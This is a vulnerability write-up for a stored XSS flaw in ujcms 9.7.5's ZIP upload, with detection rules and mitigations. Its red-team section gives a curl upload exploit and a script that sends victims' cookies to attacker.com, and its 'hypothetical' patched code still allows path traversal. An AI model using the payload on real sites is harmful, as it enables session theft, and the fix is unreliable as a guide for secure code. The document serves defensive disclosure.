CVE-2025-2490

Executive Summary

CVE-2025-2490 is a stored cross-site scripting (XSS) vulnerability identified in Dromara ujcms version 9.7.5. The flaw resides in the file upload functionality, specifically within the uploadZip and upload methods of the WebFileUploadController.java file. An attacker can remotely exploit this vulnerability by uploading a maliciously crafted file (e.g., a ZIP archive containing an HTML file with embedded JavaScript) that, when accessed or processed by the application, executes arbitrary script in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability affects the Dromara ujcms Java-based content management system. As a Java application, it is typically distributed as a WAR file or via Maven/Gradle. Users should verify the integrity of their distribution and ensure no malicious modifications have been introduced. The lack of a patch from the vendor means that organizations must rely on temporary mitigations or custom hardening.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a more realistic assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to upload.
• User Interaction (UI): Required (R) – Victim must access the malicious file.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Potential for data theft.
• Integrity (I): Low (L) – Possible content manipulation.
• Availability (A): None (N) – No direct DoS.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Score: 6.1 (Medium)

Threat Level: Medium – Exploit is public, but user interaction is required.

Deep Dive & Mechanics

The vulnerability is located in the file upload controller at /main/java/com/ujcms/cms/ext/web/backendapi/WebFileUploadController.java. The uploadZip and upload functions accept file uploads without proper validation or sanitization of file content. When a ZIP file is uploaded, the application extracts its contents and stores them on the server. If the ZIP contains an HTML file with embedded JavaScript (e.g., <script>alert('XSS')</script>), and a user later accesses that file via the web server, the script executes in the user's browser.

Root Cause: Lack of input validation and output encoding for uploaded file content. The application does not check the MIME type, file extension, or content of uploaded files before serving them to users.

Attack Flow:

1. Attacker crafts a ZIP archive containing an HTML file with malicious JavaScript.
2. Attacker uploads the ZIP via the vulnerable endpoint (e.g., /backendapi/uploadZip).
3. The server extracts the HTML file to a publicly accessible directory.
4. Victim visits the URL of the extracted HTML file.
5. The malicious script executes in the victim's browser, potentially stealing cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (ujcms 9.7.5):

// WebFileUploadController.java (simplified)
public String uploadZip(MultipartFile file) {
    String destDir = "/uploads/";
    ZipInputStream zis = new ZipInputStream(file.getInputStream());
    ZipEntry entry;
    while ((entry = zis.getNextEntry()) != null) {
        File newFile = new File(destDir + entry.getName());
        // No validation of file type or content
        Files.copy(zis, newFile.toPath());
    }
    return "Upload successful";
}

Patched Code (Hypothetical):

public String uploadZip(MultipartFile file) {
    String destDir = "/uploads/";
    ZipInputStream zis = new ZipInputStream(file.getInputStream());
    ZipEntry entry;
    while ((entry = zis.getNextEntry()) != null) {
        String fileName = entry.getName();
        // Validate file extension
        if (!fileName.endsWith(".txt") && !fileName.endsWith(".pdf")) {
            throw new SecurityException("Invalid file type");
        }
        // Sanitize content (e.g., strip HTML)
        String content = new String(zis.readAllBytes());
        content = Jsoup.clean(content, Whitelist.none());
        File newFile = new File(destDir + fileName);
        Files.write(newFile.toPath(), content.getBytes());
    }
    return "Upload successful";
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to the ujcms upload endpoint (e.g., http://target.com/backendapi/uploadZip).
• Ability to craft a malicious ZIP file.

Step-by-Step Exploit:

1. Create a malicious HTML file (payload.html):

   <html>
   <body>
   <script>alert('XSS');</script>
   </body>
   </html>
   

2. Compress it into a ZIP archive:

   zip exploit.zip payload.html
   

3. Upload the ZIP using a tool like curl:

   curl -F "file=@exploit.zip" http://target.com/backendapi/uploadZip
   

4. The server extracts payload.html to a public directory (e.g., /uploads/payload.html).
5. Send the victim the link: http://target.com/uploads/payload.html.
6. When the victim visits the link, the JavaScript executes.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defender)

Detection Steps:

1. Monitor file upload logs for unusual ZIP files.
2. Inspect extracted files for HTML/JavaScript content.
3. Use WAF rules to block uploads containing <script> tags.
4. Restrict upload directories to non-executable permissions.

Lab Setup:

• Deploy ujcms 9.7.5 in a Docker container.
• Use a reverse proxy (e.g., Nginx) to log all upload requests.
• Simulate the attack and observe logs.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):
  • exploit.zip: a1b2c3d4e5f6... (example)
  • payload.html: f6e5d4c3b2a1... (example)
• Network Patterns:
  • POST requests to /backendapi/uploadZip with Content-Type: multipart/form-data.
  • Subsequent GET requests to /uploads/*.html.
• Log Entries:
  • "Upload successful" followed by access to extracted files.
• File System Artifacts:
  • Unexpected HTML files in /uploads/ directory.

Detection Engineering

YARA Rule

rule CVE_2025_2490_XSS_ZIP {
    meta:
        description = "Detects malicious ZIP files containing HTML with XSS payloads targeting ujcms"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2490"
    strings:
        $html_magic = { 3C 68 74 6D 6C }  // "<html"
        $script_tag = { 3C 73 63 72 69 70 74 }  // "<script"
        $zip_magic = { 50 4B 03 04 }  // ZIP local file header
    condition:
        $zip_magic at 0 and $html_magic and $script_tag
}

Sigma Rule

title: CVE-2025-2490 - XSS via ZIP Upload in ujcms
id: 8f9e7d6c-5b4a-3c2d-1e0f-9a8b7c6d5e4f
status: experimental
description: Detects HTTP POST requests to ujcms uploadZip endpoint with ZIP files containing HTML/script content
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/backendapi/uploadZip'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate ZIP uploads of non-HTML content
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2490 - XSS via ZIP Upload in ujcms"; flow:to_server; http.method; content:"POST"; http.uri; content:"/backendapi/uploadZip"; http.request_body; content:"PK"; within:2; content:"<script"; within:1000; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable ZIP upload functionality if not essential.
2. Implement strict file type validation – only allow safe extensions (e.g., .txt, .pdf).
3. Sanitize uploaded content – strip HTML/JavaScript from extracted files.
4. Use a Web Application Firewall (WAF) to block malicious payloads.
5. Restrict upload directory permissions – prevent execution of uploaded files.

Long-Term Fix:

• Apply vendor patch when available.
• Upgrade to a patched version of ujcms.
• Conduct a security audit of all file upload endpoints.

Workaround:

• Modify the WebFileUploadController.java to reject ZIP files containing HTML content.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst